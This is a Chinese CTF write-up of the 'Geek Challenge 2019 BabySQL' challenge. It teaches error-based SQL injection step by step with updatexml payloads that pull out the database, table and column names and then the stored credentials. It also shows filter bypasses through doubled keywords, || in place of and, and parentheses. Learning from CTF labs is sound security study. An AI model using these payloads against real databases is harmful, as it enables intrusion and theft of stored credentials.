(SQL注入学习)无回显的报错注入(Error-Based)

**摘要:**本题主要考查对无回显的报错注入 实战使用方法。


目录

一、题目详情

二、解题思路及原理

1、登录绕过

[2、利用 updatexml 函数(爆库名)](#2、利用 updatexml 函数(爆库名))

(1)完整函数输入

(2)双写关键字实现绕过过滤机制

[4、利用 updatexml 函数(爆字段名)](#4、利用 updatexml 函数(爆字段名))

[5、利用 updatexml 函数(爆数据)](#5、利用 updatexml 函数(爆数据))


一、题目详情

题目来源:CTF²中的"极客大挑战 2019BabySQL"

靶机环境: 启动靶机,进入靶机http://bcb4835e85fc7c1a933a9d4d.http-ctf2.dasctf.com:80


二、解题思路及原理

1、登录绕过

万能密码失效,但可以得出(1)页面是不显示查询结果,但会显示 SQL 报错信息(2)是字符型注入

2、利用 updatexml 函数(爆库名)

复制代码
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注:页面会报错:XPATH syntax error: ~test~,从而拿到数据库名。

  • and:逻辑与,把恶意条件拼进原查询。

  • updatexml(xml_target, xpath_expr, new_value) 是 MySQL 用来修改 XML 文档的函数。

  • updatexml 第1参数和第3参数:这里随便给个 1 占位,因为根本不打算真的修改,只为触发报错,无实际作用。

  • updatexml 第2个参数要求合法的 XPATH 表达式,传入非法内容时,会把内容原样带出报错:XPATH syntax error: '...';如果 XPath 格式错误,MySQL 会抛出错误,并把错误内容(即你传入的字符串)显示在报错信息里 。(通过看这个内容来判断我们的sql语句注入情况)

  • concat(0x7e, (子查询), 0x7e):把 ~ + 子查询结果 + ~ 拼成一个字符串,作为非法 XPath。

  • 0x7e 是 ~的十六进制,作为边界标记,方便从报错里截取有效内容

  • updatexml() 和 extractvalue() 函数在报错注入时,报错信息中能回显的字符串长度,最大就是 32 个字符 。(但为了能看到"~"边界标记,这里设置默认为30个字符)

测试:

(1)完整函数输入

  • 注意看那个报错内容,把我们的关键字进行过滤了(因为select不见了)。因为还不确定会不会过滤别的关键字,但经过测试会把所有关键字过滤。
  • 此外,从报错内容可以看到我们前面那个and和空格都不见了,说明还会过滤空格和and。

后续:通过 ||(或运算)代替and把注入语句拼进原有查询,空格过滤掉就不用写空格了。

复制代码
其实应该这么写,才能代替and把注入语句拼入原有查询
'||  ...  ||'
但后面我用用#把"||'"注释掉了
(2)双写关键字实现绕过过滤机制

过滤逻辑是「检测到关键字就删除,且只删一次」。绕过方法:把关键字自身嵌套进自己中间,删掉中间一份后剩余部分正好拼回原词:

原关键字 双写形式 删除一次后
select selselectect select
from frfromom from
where wwherehere where
or oorr(嵌在单词里) or
substr subsubstrstr substr
limit llimitimit limit

本题最大的坑:过滤器不分单词边界,直接删子串,所以会误伤正常单词:

  • information_schema 含 or → 被删成 infmation_schema → 需写成 infoorrmation_schema

  • password 含 or → 被删成 passwrd → 需写成 passwoorrd

如何诊断会过滤哪些词:

报错回显里缺了哪个词,下次就把哪个词双写。

报错信息会原样显示最终执行的 SQL 片段,对比自己提交的 payload 就能精确看出过滤名单。

经测试,需要输入以下的sql代码才能绕过拿到库名:

复制代码
'||updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#

3、利用 updatexml 函数(爆表名)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

子查询:

复制代码
select group_concat(table_name) from information_schema.tables where table_schema=database()

|----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|
| group_concat(table_name) | 聚合函数,把多行 table_name 合并成一个逗号分隔的字符串 。因为 updatexml 的第 2 参数只能接收单值 ,若直接 select table_name 会返回多行而报错,所以用 group_concat 把多行压成一行 |
| from information_schema.tables | information_schema 是 MySQL 自带的元数据数据库 ,tables 表记录了所有库对应的所有表的信息 |
| where table_schema=database() | 过滤条件:只取当前所在数据库 的表,database() 返回当前数据库名。 |
| table_name | information_schema.tables 里的字段,即表的名字 |

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whewherere(table_schema='geek')),0x7e),1)#

|------------------------|------------------------------------|
| selselectect | 绕过「删一次」式过滤,删除后还原成 select |
| frfromom | 同上,还原成 from |
| infoorrmation_schema | 绕过对 or/information 的过滤 |
| 大量 () | 打断 WAF 正则的连续关键词匹配,同时不破坏 SQL 语法 |
| || | 替代 and/or,绕过关键词过滤 |

括号在 SQL 里本来就可用于包裹子查询/表达式:

  • (select ...) → 子查询,合法

  • (group_concat(...)) → 函数调用加括号,合法

  • from (information_schema.tables) → 表名加括号,合法

  • where (table_schema='geek') → 条件加括号,合法

结果如下:

拿到了两个表,根据做题经验,flag一般藏在b4bsql中。

4、利用 updatexml 函数(爆字段名)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1)#

同上,这里不过阐述。

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whwhereere(table_name='b4bsql')),0x7e),1)#

测试结果如下:

得到了字段名为id、username、password

5、利用 updatexml 函数(爆数据)

复制代码
' and updatexml(1,concat(0x7e,(select group_concat(字段1,0x3a,字段2) from 表名),0x7e),1)#

同上,这里不过阐述。

这个是标准写法,但前面得知已经是存在过滤机制的,故需要对过滤构建另一种写法。

复制代码
'||updatexml(1,concat(0x7e,(selselectect(subsubstrstr(group_concat(username,':',passwoorrd),N,30))frfromom(b4bsql)),0x7e),1)#

由于每次回显的是30个字符,故需要修改参数N依次取 1, 31, 61, 91, 121, 151, 181, 211

直到最后界面上显示的是~~,即为输出结果。

|------------------------------------------|-----------------------------------------|
| substr(..., N, 30) | 从第 N 位开始,取 30 个字符------解决 32 字符回显上限 |
| group_concat(username, 0x2d, password) | 把多行 username-password 拼成一行 |

N=1:

N=31:

N=61:

N=91:

N=121:

N=151:

N=181:开始出现flag了,就快拿到了

N=211:

其实这里已经拿到完整的flag,但我还想看看后面是啥。N=241:

看到出现"~~"显示输出结束的标志了!

相关推荐
sogw-三叶草️2 小时前
House of Orange
网络安全·pwn·堆·二进制安全
知识分享小能手3 小时前
C++ 学习教程,从入门到精通,C++ 友元、异常和其他特性 — 详细知识点(15)
开发语言·c++·学习
fanged3 小时前
Camera学习2(V4L2和Media Controller)(TODO)
学习
努力学习的代码小白5 小时前
源码学习15
学习
Seraphina365 小时前
DVWA(SQL注入-low,medium,XSS反射-low)
前端·数据库·笔记·sql·网络安全·web·xss
扶风ff6 小时前
求职笔试资料太散?用练题簿在线刷题,按岗位整理练习清单
前端·学习·小程序
乌暮7 小时前
JVM 原理与实践:从运行时数据区到线上故障排查
java·开发语言·jvm·后端·学习·面试
酬谢神明则必安8 小时前
git学习记录01
linux·git·学习